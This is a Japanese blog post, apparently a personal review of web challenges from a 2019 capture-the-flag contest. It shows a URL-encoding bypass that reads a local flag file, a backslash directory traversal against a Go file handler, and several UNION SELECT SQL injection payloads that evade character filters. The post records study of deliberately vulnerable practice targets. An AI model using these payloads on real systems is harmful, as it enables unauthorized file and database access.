セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【復習回】Archiso Web Challenges 2019

//

この記事は

解けなかった問題や違う解法を自分用に残しておくものです。writeupは他の方のをぜひご覧ください。

参考先

aokakes.hatenablog.com


Single Page HTML Viewer 2

テキストフィールドにurlを入力して/flagファイルの中身を見る問題です。flagという文字を入力は弾かれます。別途サーバ立ち上げてなんか描画させるのかと思ってましたが違うようです。

f:id:thinline196:20191229212523p:plain

さらに予想として,burpでクエリにファイルパスを入れればフロント側のフィルタを回避できるかと思ったのですが、サーバサイドでもflagという文字を弾いている模様。最終的にurlエンコードしたfile:///%66%6c%61%67inputフィールドに入れればok。またリクエスト時にurlエンコードがさらにかかるようなので、burpfile%3A%2F%2F%2F%2566%256c%2561%2567を投げても良い。

iwb.jp

Go Mikuji

このページの一番下に紹介されています。物理ファイルの操作にpath/filepathではなくpathを使うとディレクトリトラバーサルができるようになる。 mattn.kaoriya.net

// 主要部
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path)))
        path := strings.Replace(name, "\\", "/", -1)
        f, err := os.Open(path)
...
...

http.HandleFunc("/public/omikuji", func(w ht...
app % tree .
.
├── flag.txt
├── main.go
└── public
    └── index.html


https://awebc19.archiso.dev/problems/go_mikuji/omikuji //

https://awebc19.archiso.dev/problems/go_mikuji/..%5cflag.txt

バックスラッシュは%5cで入力。これで発火してpublic/../flag.txtを表示します。

Dolls Data 2 & 3

f:id:thinline196:20191229221615p:plain 1は普通のunion selectでした。

' and 0 UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns;--

2ではコロンを入力できなくなっているので、joinでつなぐようです。

' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --


一度に全てのテーブルとカラムを取得するにはこれ。

' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --



3では空白とハイフンが消される模様。今までハイフンつけてたけれど、;だけで良さそう?2の解法の空白/**/に全て置き換えれば通るそうです。
今回どこがエスケープされるようになったかは、レスポンスに含まれるinputパラメータを見て、入力と比較して消されている文字を探せば見つかりました。